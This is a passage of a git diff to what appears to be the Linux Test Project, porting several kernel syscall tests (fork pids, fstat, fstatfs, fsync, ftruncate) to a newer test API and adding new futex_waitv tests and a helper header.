-			tst_brkm(TBROK | TERRNO, cleanup, "fork");
-		case 0:
-			exit(child_exit_code);
-		default:
-			if (lc > 0) {
-				distance = pid_distance(last_pid, pid);
-				if (distance == 0) {
-					tst_resm(TFAIL,
-						 "Unexpected pid sequence: "
-						 "previous fork: pid=%d, "
-						 "current fork: pid=%d for "
-						 "iteration=%ld.", last_pid,
-						 pid, lc);
-					return;
-				}
-			}
-			last_pid = pid;
-
-			reaped = waitpid(pid, &status, 0);
-			if (reaped != pid) {
-				tst_resm(TFAIL,
-					 "Wait return value: expected pid=%d, "
-					 "got %d, iteration %ld.", pid, reaped,
-					 lc);
-				return;
-			} else if (WEXITSTATUS(status) != child_exit_code) {
-				tst_resm(TFAIL, "Unexpected exit status %x, "
-					 "iteration %ld.", WEXITSTATUS(status),
-					 lc);
-				return;
-			}
-		}
-	}
-	tst_resm(TPASS, "%ld pids forked, all passed", lc);
-}
-
-static void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
-
-	/* Backup pid_max value. */
-	SAFE_FILE_SCANF(NULL, PID_MAX_PATH, "%lu", &pid_max);
-
-	SAFE_FILE_PRINTF(NULL, PID_MAX_PATH, "%d", PID_MAX);
-}
-
-static void cleanup(void)
-{
-	/* Restore pid_max value. */
-	FILE_PRINTF(PID_MAX_PATH, "%lu", pid_max);
-}
+#define MAX_ITERATIONS 1000000
 
 /* The distance mod PIDMAX between two pids, where the first pid is
    expected to be smaller than the second. */
@@ -152,3 +56,68 @@
 {
 	return (second + PID_MAX - first) % PID_MAX;
 }
+
+static void check(void)
+{
+	pid_t prev_pid = 0;
+	pid_t pid;
+	int i, distance, reaped, status, retval;
+
+	for (i = 0; i < MAX_ITERATIONS; i++) {
+		retval = i % RETURN;
+
+		pid = SAFE_FORK();
+		if (!pid)
+			exit(retval);
+
+		if (prev_pid) {
+			distance = pid_distance(prev_pid, pid);
+			if (distance == 0) {
+				tst_res(TFAIL,
+					"Unexpected pid sequence: prev_pid=%i, pid=%i for iteration=%i",
+					prev_pid, pid, i);
+				return;
+			}
+		}
+
+		prev_pid = pid;
+
+		reaped = SAFE_WAITPID(pid, &status, 0);
+
+		if (reaped != pid) {
+			tst_res(TFAIL,
+				"Wrong pid %i returned from waitpid() expected %i",
+				reaped, pid);
+			return;
+		}
+
+		if (WEXITSTATUS(status) != retval) {
+			tst_res(TFAIL,
+				"Wrong process exit value %i expected %i",
+				WEXITSTATUS(status), retval);
+			return;
+		}
+
+		if (!tst_remaining_runtime()) {
+			tst_res(TINFO, "Runtime exhausted, exiting...");
+			break;
+		}
+	}
+
+	tst_res(TPASS, "%i pids forked, all passed", i);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.forks_child = 1,
+	.max_runtime = 600,
+	.test_all = check,
+	.save_restore = (const struct tst_path_val[]) {
+		{"!/proc/sys/kernel/pid_max", PID_MAX_STR},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "5fdee8c4a5e1"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/fstat/fstat02.c b/testcases/kernel/syscalls/fstat/fstat02.c
index c0229de..2768317 100644
--- a/testcases/kernel/syscalls/fstat/fstat02.c
+++ b/testcases/kernel/syscalls/fstat/fstat02.c
@@ -4,21 +4,21 @@
  *  07/2001 Ported by Wayne Boyer
  *  05/2019 Ported to new library: Christian Amann <camann@suse.com>
  */
-/*
+
+/*\
+ * [Description]
+ *
  * Tests if fstat() returns correctly and reports correct file information
  * using the stat structure.
  */
 
-#include <errno.h>
-#include <unistd.h>
-#include <sys/stat.h>
-#include <sys/types.h>
 #include "tst_test.h"
-#include "tst_safe_macros.h"
 
 #define TESTFILE        "test_file"
+#define LINK_TESTFILE   "link_test_file"
 #define FILE_SIZE       1024
 #define FILE_MODE	0644
+#define NLINK	        2
 
 static struct stat stat_buf;
 static uid_t user_id;
@@ -27,44 +27,12 @@
 
 static void run(void)
 {
-	int fail = 0;
-
-	TEST(fstat(fildes, &stat_buf));
-
-	if (TST_RET != 0) {
-		tst_res(TFAIL | TTERRNO, "fstat() failed");
-		return;
-	}
-
-	fail = 0;
-	if (stat_buf.st_uid != user_id) {
-		tst_res(TFAIL, "stat_buf.st_uid = %i expected %i",
-			stat_buf.st_uid, user_id);
-		fail++;
-	}
-
-	if (stat_buf.st_gid != group_id) {
-		tst_res(TFAIL, "stat_buf.st_gid = %i expected %i",
-			stat_buf.st_gid, group_id);
-		fail++;
-	}
-
-	if (stat_buf.st_size != FILE_SIZE) {
-		tst_res(TFAIL, "stat_buf.st_size = %li expected %i",
-			(long)stat_buf.st_size, FILE_SIZE);
-		fail++;
-	}
-
-	if ((stat_buf.st_mode & 0777) != FILE_MODE) {
-		tst_res(TFAIL, "stat_buf.st_mode = %o expected %o",
-			(stat_buf.st_mode & 0777), FILE_MODE);
-		fail++;
-	}
-
-	if (fail)
-		return;
-
-	tst_res(TPASS, "fstat() reported correct values.");
+	TST_EXP_PASS(fstat(fildes, &stat_buf));
+	TST_EXP_EQ_LU(stat_buf.st_uid, user_id);
+	TST_EXP_EQ_LU(stat_buf.st_gid, group_id);
+	TST_EXP_EQ_LI(stat_buf.st_size, FILE_SIZE);
+	TST_EXP_EQ_LU(stat_buf.st_mode & 0777, FILE_MODE);
+	TST_EXP_EQ_LU(stat_buf.st_nlink, NLINK);
 }
 
 static void setup(void)
@@ -77,7 +45,9 @@
 	fildes = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, FILE_MODE);
 
 	if (tst_fill_file(TESTFILE, 'a', FILE_SIZE, 1))
-		tst_brk(TBROK, "Could not fill Testfile!");
+		tst_brk(TBROK, "Could not fill test file");
+
+	SAFE_LINK(TESTFILE, LINK_TESTFILE);
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/fstatat/fstatat01.c b/testcases/kernel/syscalls/fstatat/fstatat01.c
index b5fa837..28e3d47 100644
--- a/testcases/kernel/syscalls/fstatat/fstatat01.c
+++ b/testcases/kernel/syscalls/fstatat/fstatat01.c
@@ -62,17 +62,17 @@
 #if (__NR_fstatat64 > 0)
 int fstatat(int dirfd, const char *filename, struct stat64 *statbuf, int flags)
 {
-	return ltp_syscall(__NR_fstatat64, dirfd, filename, statbuf, flags);
+	return tst_syscall(__NR_fstatat64, dirfd, filename, statbuf, flags);
 }
 #elif (__NR_newfstatat > 0)
 int fstatat(int dirfd, const char *filename, struct stat *statbuf, int flags)
 {
-	return ltp_syscall(__NR_newfstatat, dirfd, filename, statbuf, flags);
+	return tst_syscall(__NR_newfstatat, dirfd, filename, statbuf, flags);
 }
 #else
 int fstatat(int dirfd, const char *filename, struct stat *statbuf, int flags)
 {
-	return ltp_syscall(__NR_fstatat, dirfd, filename, statbuf, flags);
+	return tst_syscall(__NR_fstatat, dirfd, filename, statbuf, flags);
 }
 #endif
 #endif
diff --git a/testcases/kernel/syscalls/fstatfs/fstatfs02.c b/testcases/kernel/syscalls/fstatfs/fstatfs02.c
index db2230f..f801c9f 100644
--- a/testcases/kernel/syscalls/fstatfs/fstatfs02.c
+++ b/testcases/kernel/syscalls/fstatfs/fstatfs02.c
@@ -1,114 +1,76 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
-/*
- * DESCRIPTION
- *	Testcase to check fstatfs() sets errno correctly.
+/*\
+ * [Description]
+ *
+ * Testcase to check if fstatfs() sets errno correctly.
  */
 
-#include <sys/vfs.h>
+#include <errno.h>
+#include <stdlib.h>
 #include <sys/types.h>
 #include <sys/statfs.h>
-#include <errno.h>
-#include "test.h"
-#include "safe_macros.h"
-
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "fstatfs02";
+#include <sys/wait.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
 
 static struct statfs buf;
 
+static int fd;
+static int bad_fd = -1;
+
 static struct test_case_t {
-	int fd;
+	int *fd;
 	struct statfs *sbuf;
 	int error;
-} TC[] = {
-	/* EBADF - fd is invalid */
-	{
-	-1, &buf, EBADF},
-#ifndef UCLINUX
-	    /* Skip since uClinux does not implement memory protection */
-	    /* EFAULT - address for buf is invalid */
-	{
-	-1, (void *)-1, EFAULT}
-#endif
+} tests[] = {
+	{&bad_fd, &buf, EBADF},
+	{&fd, (void *)-1, EFAULT},
 };
 
-int TST_TOTAL = ARRAY_SIZE(TC);
-
-int main(int ac, char **av)
+static void fstatfs_verify(unsigned int n)
 {
-	int lc;
-	int i;
+	int pid, status;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(fstatfs(TC[i].fd, TC[i].sbuf));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS, "expected failure - "
-					 "errno = %d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL, "unexpected error - %d : %s - "
-					 "expected %d", TEST_ERRNO,
-					 strerror(TEST_ERRNO), TC[i].error);
-			}
-		}
+	pid = SAFE_FORK();
+	if (!pid) {
+		TST_EXP_FAIL(fstatfs(*tests[n].fd, tests[n].sbuf), tests[n].error, "fstatfs()");
+		exit(0);
 	}
-	cleanup();
 
-	tst_exit();
+	SAFE_WAITPID(pid, &status, 0);
+
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
+		return;
+
+	if (tests[n].error == EFAULT &&
+	    WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV) {
+		tst_res(TPASS, "Got SIGSEGV instead of EFAULT");
+		return;
+	}
+
+	tst_res(TFAIL, "Child %s", tst_strstatus(status));
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-#ifndef UCLINUX
-	TC[1].fd = SAFE_OPEN(cleanup, "tempfile", O_RDWR | O_CREAT, 0700);
-#endif
+	fd = SAFE_OPEN("tempfile", O_RDWR | O_CREAT, 0700);
 }
 
 static void cleanup(void)
 {
-#ifndef UCLINUX
-	if (TC[1].fd > 0 && close(TC[1].fd))
-		tst_resm(TWARN | TERRNO, "Failed to close fd");
-#endif
-
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.test = fstatfs_verify,
+	.tcnt = ARRAY_SIZE(tests),
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/fsync/fsync02.c b/testcases/kernel/syscalls/fsync/fsync02.c
index fcdc14f..55c7a71 100644
--- a/testcases/kernel/syscalls/fsync/fsync02.c
+++ b/testcases/kernel/syscalls/fsync/fsync02.c
@@ -21,13 +21,13 @@
 
 #define BLOCKSIZE 8192
 #define MAXBLKS 65536
-#define TIME_LIMIT 120
 #define BUF_SIZE 2048
 
 char tempfile[40] = "";
 char pbuf[BUF_SIZE];
 int fd;
 off_t max_blks = MAXBLKS;
+int time_limit = 120;
 
 struct statvfs stat_buf;
 
@@ -35,6 +35,11 @@
 	/* free blocks avail to non-superuser */
 	unsigned long f_bavail;
 
+	if (tst_is_virt(VIRT_ANY)) {
+		tst_res(TINFO, "Running in a VM, multiply the time_limit by 2");
+		time_limit *= 2;
+	}
+
 	fd = SAFE_OPEN("tempfile", O_RDWR | O_CREAT | O_TRUNC, 0777);
 
 	if (fstatvfs(fd, &stat_buf) != 0) {
@@ -89,7 +94,7 @@
 		"timer broken end %ld < start %ld",
 		time_end, time_start);
 	} else if ((time_delta =
-		difftime(time_end, time_start)) > TIME_LIMIT) {
+		difftime(time_end, time_start)) > time_limit) {
 		tst_res(TFAIL,
 		"fsync took too long: %lf seconds; "
 		"max_block: %d; data_blocks: %d",
@@ -109,5 +114,6 @@
 	.test_all = run,
 	.setup = setup,
 	.cleanup = cleanup,
-	.needs_tmpdir = 1
+	.needs_tmpdir = 1,
+	.max_runtime = 300,
 };
diff --git a/testcases/kernel/syscalls/ftruncate/ftruncate03.c b/testcases/kernel/syscalls/ftruncate/ftruncate03.c
index 95c3304..f2fa96d 100644
--- a/testcases/kernel/syscalls/ftruncate/ftruncate03.c
+++ b/testcases/kernel/syscalls/ftruncate/ftruncate03.c
@@ -2,17 +2,18 @@
 /*
  * Copyright (c) International Business Machines  Corp., 2002
  * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
- *
- * Jay Huie
- * Robbie Williamson
+ * Author: Jay Huie, Robbie Williamson
  */
-/*
- * Test Description:
- *  Verify that,
- *  1)ftruncate() fails with EINVAL if the file is a socket.
- *  2)ftruncate() fails with EINVAL if the file descriptor opens with O_RDONLY.
- *  3)ftruncate() fails with EINVAL if the length is negative.
- *  4)ftruncate() fails with EBADF if the file descriptor is invalid.
+
+/*\
+ * [Description]
+ *
+ * Verify that ftruncate(2) system call returns appropriate error number:
+ *
+ * 1. EINVAL -- the file is a socket
+ * 2. EINVAL -- the file descriptor was opened with O_RDONLY
+ * 3. EINVAL -- the length is negative
+ * 4. EBADF -- the file descriptor is invalid
  */
 
 #include <sys/types.h>
diff --git a/testcases/kernel/syscalls/ftruncate/ftruncate04.c b/testcases/kernel/syscalls/ftruncate/ftruncate04.c
index ad5c7bb..c832cea 100644
--- a/testcases/kernel/syscalls/ftruncate/ftruncate04.c
+++ b/testcases/kernel/syscalls/ftruncate/ftruncate04.c
@@ -168,6 +168,10 @@
 }
 
 static struct tst_test test = {
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_MANDATORY_FILE_LOCKING=y",
+		NULL
+	},
 	.test_all = verify_ftruncate,
 	.setup = setup,
 	.needs_checkpoints = 1,
diff --git a/testcases/kernel/syscalls/futex/.gitignore b/testcases/kernel/syscalls/futex/.gitignore
index 54cd02b..9d08ba7 100644
--- a/testcases/kernel/syscalls/futex/.gitignore
+++ b/testcases/kernel/syscalls/futex/.gitignore
@@ -10,3 +10,6 @@
 /futex_wake02
 /futex_wake03
 /futex_wake04
+/futex_waitv01
+/futex_waitv02
+/futex_waitv03
diff --git a/testcases/kernel/syscalls/futex/Makefile b/testcases/kernel/syscalls/futex/Makefile
index c88af7c..7228496 100644
--- a/testcases/kernel/syscalls/futex/Makefile
+++ b/testcases/kernel/syscalls/futex/Makefile
@@ -7,11 +7,14 @@
 futex_cmp_requeue02: LDLIBS+=-lrt
 futex_wait02: LDLIBS+=-lrt
 futex_wake03: LDLIBS+=-lrt
+futex_wait05: LDLIBS+=-lrt
+futex_wait_bitset01: LDLIBS+=-lrt
+
 futex_wait03: CFLAGS+=-pthread
 futex_wake02: CFLAGS+=-pthread
 futex_wake04: CFLAGS+=-pthread
-futex_wait05: LDLIBS+=-lrt
-futex_wait_bitset01: LDLIBS+=-lrt
+futex_waitv02: CFLAGS+=-pthread
+futex_waitv03: CFLAGS+=-pthread
 
 include $(top_srcdir)/include/mk/testcases.mk
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/futex/futex2test.h b/testcases/kernel/syscalls/futex/futex2test.h
new file mode 100644
index 0000000..ce97f47
--- /dev/null
+++ b/testcases/kernel/syscalls/futex/futex2test.h
@@ -0,0 +1,30 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Futex2 library addons for futex tests
+ *
+ * Copyright 2021 Collabora Ltd.
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+#ifndef FUTEX2TEST_H
+#define FUTEX2TEST_H
+
+#include <stdint.h>
+#include "lapi/syscalls.h"
+#include "futextest.h"
+
+/**
+ * futex_waitv - Wait at multiple futexes, wake on any
+ * @waiters:    Array of waiters
+ * @nr_waiters: Length of waiters array
+ * @flags: Operation flags
+ * @timo:  Optional timeout for operation
+ */
+static inline int futex_waitv(volatile struct futex_waitv *waiters,
+			      unsigned long nr_waiters, unsigned long flags,
+			      struct timespec *timo, clockid_t clockid)
+{
+	return tst_syscall(__NR_futex_waitv, waiters, nr_waiters, flags, timo, clockid);
+}
+
+#endif /* _FUTEX2TEST_H */
diff --git a/testcases/kernel/syscalls/futex/futex_cmp_requeue01.c b/testcases/kernel/syscalls/futex/futex_cmp_requeue01.c
index 13e67c7..8727044 100644
--- a/testcases/kernel/syscalls/futex/futex_cmp_requeue01.c
+++ b/testcases/kernel/syscalls/futex/futex_cmp_requeue01.c
@@ -12,12 +12,11 @@
 #include <errno.h>
 #include <sys/wait.h>
 #include <stdlib.h>
-#include <linux/futex.h>
 #include <sys/time.h>
 
-#include "tst_timer_test.h"
 #include "tst_test.h"
 #include "futextest.h"
+#include "lapi/futex.h"
 
 struct shared_data {
 	futex_t futexes[2];
diff --git a/testcases/kernel/syscalls/futex/futex_cmp_requeue02.c b/testcases/kernel/syscalls/futex/futex_cmp_requeue02.c
index 0514b0b..073ea3b 100644
--- a/testcases/kernel/syscalls/futex/futex_cmp_requeue02.c
+++ b/testcases/kernel/syscalls/futex/futex_cmp_requeue02.c
@@ -13,11 +13,11 @@
  */
 
 #include <errno.h>
-#include <linux/futex.h>
 #include <sys/time.h>
 
 #include "tst_test.h"
 #include "futextest.h"
+#include "lapi/futex.h"
 
 static futex_t *futexes;
 
diff --git a/testcases/kernel/syscalls/futex/futex_utils.h b/testcases/kernel/syscalls/futex/futex_utils.h
index 156895e..7ce13e6 100644
--- a/testcases/kernel/syscalls/futex/futex_utils.h
+++ b/testcases/kernel/syscalls/futex/futex_utils.h
@@ -1,20 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
- *
- * Licensed under the GNU GPLv2 or later.
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
 #ifndef FUTEX_UTILS_H__
@@ -23,6 +10,27 @@
 #include <stdio.h>
 #include <stdlib.h>
 
+#if __NR_futex != __LTP__NR_INVALID_SYSCALL && __NR_futex_time64 != __LTP__NR_INVALID_SYSCALL
+# define FUTEX_VARIANTS 2
+#else
+# define FUTEX_VARIANTS 1
+#endif
+
+static inline struct futex_test_variants futex_variant(void)
+{
+	struct futex_test_variants variants[] = {
+	#if (__NR_futex != __LTP__NR_INVALID_SYSCALL)
+		{ .fntype = FUTEX_FN_FUTEX, .desc = "syscall with old kernel spec" },
+	#endif
+
+	#if (__NR_futex_time64 != __LTP__NR_INVALID_SYSCALL)
+		{ .fntype = FUTEX_FN_FUTEX64, .desc = "syscall time64 with kernel spec" },
+	#endif
+	};
+
+	return variants[tst_variant];
+}
+
 /*
  * Wait for nr_threads to be sleeping
  */
diff --git a/testcases/kernel/syscalls/futex/futex_waitv01.c b/testcases/kernel/syscalls/futex/futex_waitv01.c
new file mode 100644
index 0000000..17b9673
--- /dev/null
+++ b/testcases/kernel/syscalls/futex/futex_waitv01.c
@@ -0,0 +1,172 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * This test verifies EINVAL for futex_waitv syscall.
+ */
+
+#include <time.h>
+#include <stdlib.h>
+#include "tst_test.h"
+#include "lapi/futex.h"
+#include "futex2test.h"
+#include "tst_safe_clocks.h"
+
+static uint32_t *futex;
+static struct futex_waitv *waitv;
+
+static void setup(void)
+{
+	futex = SAFE_MALLOC(sizeof(uint32_t));
+	*futex = FUTEX_INITIALIZER;
+}
+
+static void init_timeout(struct timespec *to)
+{
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, to);
+	to->tv_sec++;
+}
+
+static void init_waitv(void)
+{
+	waitv->uaddr = (uintptr_t)futex;
+	waitv->flags = FUTEX_32 | FUTEX_PRIVATE_FLAG;
+	waitv->val = 0;
+}
+
+static void test_invalid_flags(void)
+{
+	struct timespec to;
+
+	init_waitv();
+	init_timeout(&to);
+
+	/* Testing a waiter without FUTEX_32 flag */
+	waitv->flags = FUTEX_PRIVATE_FLAG;
+
+	TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_MONOTONIC), EINVAL,
+		     "futex_waitv with invalid flags");
+}
+
+static void test_unaligned_address(void)
+{
+	struct timespec to;
+
+	init_waitv();
+	init_timeout(&to);
+
+	waitv->uaddr = 1;
+
+	TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_MONOTONIC), EINVAL,
+		     "futex_waitv with unligned address");
+}
+
+static void test_null_address(void)
+{
+	struct timespec to;
+
+	init_waitv();
+	init_timeout(&to);
+
+	waitv->uaddr = 0x00000000;
+
+	TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_MONOTONIC), EFAULT,
+		     "futex_waitv address is NULL");
+}
+
+static void test_null_waiters(void)
+{
+	struct timespec to;
+
+	init_timeout(&to);
+
+	TST_EXP_FAIL(futex_waitv(NULL, 1, 0, &to, CLOCK_MONOTONIC), EINVAL,
+		     "futex_waitv waiters are NULL");
+}
+
+static void test_invalid_clockid(void)
+{
+	struct timespec to;
+
+	init_waitv();
+	init_timeout(&to);
+
+	TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_TAI), EINVAL,
+		     "futex_waitv invalid clockid");
+}
+
+static void test_invalid_nr_futexes(void)
+{
+	struct timespec to;
+
+	init_waitv();
+	init_timeout(&to);
+
+	/* Valid nr_futexes is [1, 128] */
+	TST_EXP_FAIL(futex_waitv(waitv, 129, 0, &to, CLOCK_MONOTONIC), EINVAL,
+		     "futex_waitv invalid nr_futexes");
+	TST_EXP_FAIL(futex_waitv(waitv, 0, 0, &to, CLOCK_MONOTONIC), EINVAL,
+		     "futex_waitv invalid nr_futexes");
+}
+
+static void test_mismatch_between_uaddr_and_val(void)
+{
+	struct timespec to;
+
+	waitv->uaddr = (uintptr_t)futex;
+	waitv->flags = FUTEX_32 | FUTEX_PRIVATE_FLAG;
+	waitv->val = 1;
+
+	init_timeout(&to);
+
+	TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_MONOTONIC), EAGAIN,
+		     "futex_waitv mismatch between value of uaddr and val");
+}
+
+static void test_timeout(void)
+{
+	struct timespec to;
+
+	waitv->uaddr = (uintptr_t)futex;
+	waitv->flags = FUTEX_32 | FUTEX_PRIVATE_FLAG;
+	waitv->val = 0;
+
+	SAFE_CLOCK_GETTIME(CLOCK_REALTIME, &to);
+	to = tst_timespec_add_us(to, 10000);
+
+	TST_EXP_FAIL(futex_waitv(waitv, 1, 0, &to, CLOCK_REALTIME), ETIMEDOUT,
+		     "futex_waitv timeout");
+}
+
+static void cleanup(void)
+{
+	free(futex);
+}
+
+static void run(void)
+{
+	test_invalid_flags();
+	test_unaligned_address();
+	test_null_address();
+	test_null_waiters();
+	test_invalid_clockid();
+	test_invalid_nr_futexes();
+	test_mismatch_between_uaddr_and_val();
+	test_timeout();
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.min_kver = "5.16",
+	.bufs =
+		(struct tst_buffers[]){
+			{ &waitv, .size = sizeof(struct futex_waitv) },
+			{},
+		},
+};
diff --git a/testcases/kernel/syscalls/futex/futex_waitv02.c b/testcases/kernel/syscalls/futex/futex_waitv02.c
new file mode 100644
index 0000000..0a0e2b6
--- /dev/null
+++ b/testcases/kernel/syscalls/futex/futex_waitv02.c
@@ -0,0 +1,106 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * This test verifies futex_waitv syscall using private data.
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <time.h>
+#include "tst_test.h"
+#include "lapi/futex.h"
+#include "lapi/syscalls.h"
+#include "futex2test.h"
+#include "futex_utils.h"
+#include "tst_safe_pthread.h"
+#include "tst_safe_clocks.h"
+
+static char *str_numfutex;
+static int numfutex = 30;
+
+static uint32_t *futexes;
+static struct futex_waitv *waitv;
+
+static void setup(void)
+{
+	struct futex_test_variants tv = futex_variant();
+	int i;
+
+	tst_res(TINFO, "Testing variant: %s", tv.desc);
+	futex_supported_by_kernel(tv.fntype);
+
+	if (tst_parse_int(str_numfutex, &numfutex, 1, FUTEX_WAITV_MAX))
+		tst_brk(TBROK, "Invalid number of futexes '%s'", str_numfutex);
+
+	futexes = tst_alloc(sizeof(uint32_t) * numfutex);
+	memset(futexes, FUTEX_INITIALIZER, sizeof(uint32_t) * numfutex);
+
+	waitv = tst_alloc(sizeof(struct futex_waitv) * numfutex);
+	memset(waitv, 0, sizeof(struct futex_waitv) * numfutex);
+
+	for (i = 0; i < numfutex; i++) {
+		waitv[i].uaddr = (uintptr_t)&futexes[i];
+		waitv[i].flags = FUTEX_32 | FUTEX_PRIVATE_FLAG;
+		waitv[i].val = 0;
+	}
+}
+
+static void *threaded(void *arg)
+{
+	struct futex_test_variants tv = futex_variant();
+	int tid = *(int *)arg;
+
+	TST_THREAD_STATE_WAIT(tid, 'S', 0);
+
+	TEST(futex_wake(tv.fntype, (void *)(uintptr_t)waitv[numfutex - 1].uaddr,
+			1, FUTEX_PRIVATE_FLAG));
+	if (TST_RET < 0) {
+		tst_brk(TBROK | TTERRNO,
+			"futex_wake private returned: %ld", TST_RET);
+	}
+
+	return NULL;
+}
+
+static void run(void)
+{
+	struct timespec to;
+	int tid;
+	pthread_t t;
+
+	tid = tst_syscall(__NR_gettid);
+
+	SAFE_PTHREAD_CREATE(&t, NULL, threaded, (void *)&tid);
+
+	/* setting absolute timeout for futex2 */
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &to);
+	to.tv_sec++;
+
+	TEST(futex_waitv(waitv, numfutex, 0, &to, CLOCK_MONOTONIC));
+	if (TST_RET < 0) {
+		tst_brk(TBROK | TTERRNO, "futex_waitv returned: %ld", TST_RET);
+	} else if (TST_RET != numfutex - 1) {
+		tst_res(TFAIL, "futex_waitv returned: %ld, expecting %d",
+			TST_RET,  numfutex - 1);
+	}
+
+	SAFE_PTHREAD_JOIN(t, NULL);
+	tst_res(TPASS, "futex_waitv returned correctly");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.min_kver = "5.16",
+	.test_variants = FUTEX_VARIANTS,
+	.options =
+		(struct tst_option[]){
+			{ "n:", &str_numfutex, "Number of futex (default 30)" },
+			{},
+		},
+};
diff --git a/testcases/kernel/syscalls/futex/futex_waitv03.c b/testcases/kernel/syscalls/futex/futex_waitv03.c
new file mode 100644
index 0000000..ee79728
--- /dev/null
+++ b/testcases/kernel/syscalls/futex/futex_waitv03.c
@@ -0,0 +1,124 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * This test verifies futex_waitv syscall using shared data.
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <time.h>
+#include <sys/shm.h>
+#include "tst_test.h"
+#include "lapi/futex.h"
+#include "lapi/syscalls.h"
+#include "futex2test.h"
+#include "futex_utils.h"
+#include "tst_safe_pthread.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_sysv_ipc.h"
+
+static char *str_numfutex;
+static int numfutex = 30;
+
+static struct futex_waitv *waitv;
+static unsigned int waitv_allocated;
+static int *shmids;
+
+static void setup(void)
+{
+	struct futex_test_variants tv = futex_variant();
+	int i;
+
+	tst_res(TINFO, "Testing variant: %s", tv.desc);
+	futex_supported_by_kernel(tv.fntype);
+
+	if (tst_parse_int(str_numfutex, &numfutex, 1, FUTEX_WAITV_MAX))
+		tst_brk(TBROK, "Invalid number of futexes '%s'", str_numfutex);
+
+	waitv = tst_alloc(sizeof(struct futex_waitv) * numfutex);
+	memset(waitv, 0, sizeof(struct futex_waitv) * numfutex);
+	shmids = tst_alloc(sizeof(int*) * numfutex);
+	memset(shmids, 0, sizeof(int*) * numfutex);
+
+	for (i = 0; i < numfutex; i++) {
+		shmids[i] = SAFE_SHMGET(IPC_PRIVATE, 4096, IPC_CREAT | 0666);
+		waitv[i].uaddr = (uintptr_t)SAFE_SHMAT(shmids[i], NULL, 0);
+		waitv[i].flags = FUTEX_32;
+		waitv[i].val = 0;
+	}
